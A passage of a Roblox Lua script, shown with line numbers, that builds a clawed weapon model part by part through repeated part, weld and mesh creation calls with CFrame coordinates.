728 | ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.858075142, -0.276378155, -0.49209857, 0.353552133, -0.866025269, 0.353555113, 0.707108736, -9.03335206e-07, -0.707104981, 0.612371027, 0.500000358, 0.61237365)) | |
729 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001)) | |
730 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
731 | ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142959999, -0.79026103, -0.577523232, 0, 0, 1, 0.0581610166, -0.998307228, 0, 0.998307228, 0.0581610166, 0)) | |
732 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.400000006, 1, 0.100000001)) | |
733 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
734 | ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.857914209, 0.258751988, -0.512362957, 0.353553236, -0.866025567, -0.353553236, -0.707106471, 3.09715034e-07, -0.707107246, 0.612372994, 0.499999791, -0.6123721)) | |
735 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001)) | |
736 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003)) | |
737 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.508293927, 0.581420183, 0.355297565, -1, 0, 0, 0, -0.694275975, -0.719708979, 0, -0.719708979, 0.694275975)) | |
738 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1)) | |
739 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003)) | |
740 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, -0.605236769, -0.322324991, 1, 0, 0, 0, 0.719708979, -0.694275975, 0, 0.694275975, 0.719708979)) | |
741 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1)) | |
742 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003)) | |
743 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.0117408261, -0.729162693, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101)) | |
744 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.208000004, 0.47299999, 0.47299999)) | |
745 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
746 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.123879015, -0.278857708, -0.00617899979, 0.965925336, -0.2588211, 0, 0.2588211, 0.965925336, 0, 0, 0, 1)) | |
747 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999)) | |
748 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.445813209, 0.210449979, 1.04200566)) | |
749 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.223450184, 0.0305250883, -0.00618699985, -0.25881803, 0.965926111, 0, -0.965926111, -0.25881803, 0, 0, 0, 1)) | |
750 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999)) | |
751 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
752 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.407537222, 0.0663063526, -0.00618699985, 0.707106352, -0.707107365, 0, 0.707107365, 0.707106352, 0, 0, 0, 1)) | |
753 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999)) | |
754 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.664211631, 0.210449979, 1.04200566)) | |
755 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0544009209, 0.0101571083, -0.00617499975, 0.499998987, 0.866025984, 0, -0.866025984, 0.499998987, 0, 0, 0, 1)) | |
756 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999)) | |
757 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
758 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.212381959, -0.663311005, -0.00618499983, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
759 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.730365157, 0.388499111, 1.00999999)) | |
760 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
761 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0184851885, 0.339620829, -0.0061809998, 0.715359032, -0.698757052, 0, 0.698757052, 0.715359032, 0, 0, 0, 1)) | |
762 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.834142029, 0.388499111, 1.00999999)) | |
763 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.627083898, 0.210449979, 1.04200566)) | |
764 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.280005217, -0.363016367, -0.00617299974, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1)) | |
765 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999)) | |
766 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.329999983)) | |
767 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.00543988496, -0.414242506, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101)) | |
768 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1)) | |
769 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
770 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.453824013, -0.291407824, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
771 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.83414197, 0.388499111, 1.00999999)) | |
772 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
773 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51018995, -0.50767684, 0.297928989, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
774 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445)) | |
775 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725)) | |
776 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0117785633, -0.903934956, 0.39272213, 0.707106352, 0, 0.707107365, 0, 1, 0, -0.707107365, 0, 0.707106352)) | |
777 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) | |
778 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
779 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.677359819, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
780 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445)) | |
781 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368)) | |
782 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0118038058, 0.689624906, 0.570050001, 0.707103848, 0, 0.707109809, -0.707109809, 0, 0.707103848, 0, -1, 0)) | |
783 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) | |
784 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
785 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510767996, -0.508222818, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
786 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445)) | |
787 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954)) | |
788 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285520971, -0.664801836, -0.00591700012, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
789 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1)) | |
790 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.728394926, 0.35408181, 1.04200566)) | |
791 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.159419954, -0.695495844, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
792 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) | |
793 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.796342552, 0.65287286, 1.04582763)) | |
794 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.144507021, 0.270431995, -0.00702500017, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
795 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) | |
796 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
797 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0228680372, -0.903097868, -0.00617699977, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
798 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) | |
799 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
800 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.157143831, -0.295579016, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
801 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445)) | |
802 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.475480139, 0.404664904, 1.04200566)) | |
803 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.236273766, -0.56151557, -0.0061809998, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1)) | |
804 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) | |
805 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725)) | |
806 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000811070204, -0.902295828, 0.381639034, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)) | |
807 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) | |
808 | Part = CreatePart2(m, Enum.Material.Neon, 0, 0, "Part", "Really black", "Part", Vector3.new(1, 1, 1)) | |
809 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.618730307, -0.382281303, 0, 0, 1, 0.36670509, -0.93033725, 0, 0.93033725, 0.36670509, 0)) | |
810 | CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.5, 0.709999979, 0.100000001)) | |
811 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368)) | |
812 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000812500715, 0.678554535, 0.570062876, -0.707106829, 0, 0.707106829, -0.707106829, 0, -0.707106829, 0, -1, 0)) | |
813 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) | |
814 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.274916351, 0.495625556, 1.04582763)) | |
815 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.386464, 0.349603176, -0.00702300016, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
816 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) | |
817 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954)) | |
818 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285515964, -0.215442896, -0.00591900013, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
819 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1)) | |
820 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
821 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51019901, -0.156597853, 0.297930986, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
822 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445)) | |
823 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(1.06224263, 1.11860847, 1.04200566)) | |
824 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00774800777, 0.0171630383, -0.0061809998, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
825 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) | |
826 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
827 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510194004, -0.67681098, 0.297922999, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
828 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445)) | |
829 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "WedgePart", TorsoColor, "ClawMaterial", Vector3.new(1.0507766, 0.342107773, 0.210450009)) | |
830 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00591100007, -0.468749046, 0.193565369, 0, 0, 1, -0.700001419, -0.714141428, 0, 0.714141428, -0.700001419, 0)) | |
831 | CreateMesh("SpecialMesh", ClawMaterial, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.961421788)) | |
832 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
833 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00134065747, 0.207813978, 0.709334135, 0.707106829, 0, -0.707106829, 0, -1, 0, -0.707106829, 0, -0.707106829)) | |
834 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788)) | |
835 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009)) | |
836 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947299972, -0.114370823, -0.440932035, 0, 0, 1, 0, 1, 0, -1, 0, 0)) | |
837 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.561885834, 0.961421788)) | |
838 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.411995441, 0.210450009)) | |
839 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00891099963, -0.798730135, 0.476718009, 0, 0, 1, 0, -1, 0, 1, 0, 0)) | |
840 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481)) | |
841 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.04586256, 0.210449979, 0.27767837)) | |
842 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00726700015, 0.0232260227, 0.391721964, 0, 0, 1, 0, 1, 0, -1, 0, 0)) | |
843 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.764251173, 1)) | |
844 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.385787576, 0.210450009)) | |
845 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509499991, -0.792718172, 0.456955969, 0, 0, -1, 0, -1, 0, -1, 0, 0)) | |
846 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481)) | |
847 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009)) | |
848 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509600015, -0.696686029, 0.42363596, 0, 0, -1, 0, -1, 0, -1, 0, 0)) | |
849 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788)) | |
850 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
851 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012203753, 0.206679821, 0.707822442, -0.707106352, 0, -0.707107365, 0, -1, 0, -0.707107365, 0, 0.707106352)) | |
852 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788)) | |
853 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009)) | |
854 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947900023, -0.695355177, 0.440928012, 0, 0, 1, 0, -1, 0, 1, 0, 0)) | |
855 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788)) | |
856 | MotorOne = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorOne", Vector3.new(0.200000003, 0.200000003, 0.200000003)) | |
857 | MotorOneWeld = CreateWeld(m, Handle, MotorOne, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.165818453, -0.00628910959, -0.978227913, -0.0732169896, -0.996971905, -0.0261989962, -0.542171299, 0.0618378855, -0.83798945, 0.837072074, -0.0471507274, -0.545057178)) | |
858 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
859 | ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413149118, -0.00709122419, -1.08955288, 0.90752846, 5.51342964e-07, -0.419990718, -1.73971057e-06, 1, -2.44379044e-06, 0.419990718, 2.95042992e-06, 0.90752852)) | |
860 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003)) | |
861 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
862 | ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.205875158, -0.00710588694, -1.48987699, 0.747897685, -5.36441803e-07, -0.663814127, -1.66893005e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897744)) | |
863 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
864 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993)) | |
865 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151987076, 0.549069643, -0.614215612, -1.19581819e-06, 1, 1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982)) | |
866 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974)) | |
867 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151856542, -0.490994453, -0.295432806, -1.19581819e-06, 1, 1.37090683e-06, -0.961226821, -7.5250864e-07, -0.27575928, -0.27575931, -1.57952309e-06, 0.96122694)) | |
868 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989)) | |
869 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.015198648, 0.650615692, -0.406500697, -1.19581819e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667)) | |
870 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974)) | |
871 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152282119, 0.624634504, 0.129744053, -1.19581819e-06, 1, 1.37090683e-06, -0.832109034, -2.5331974e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974)) | |
872 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019)) | |
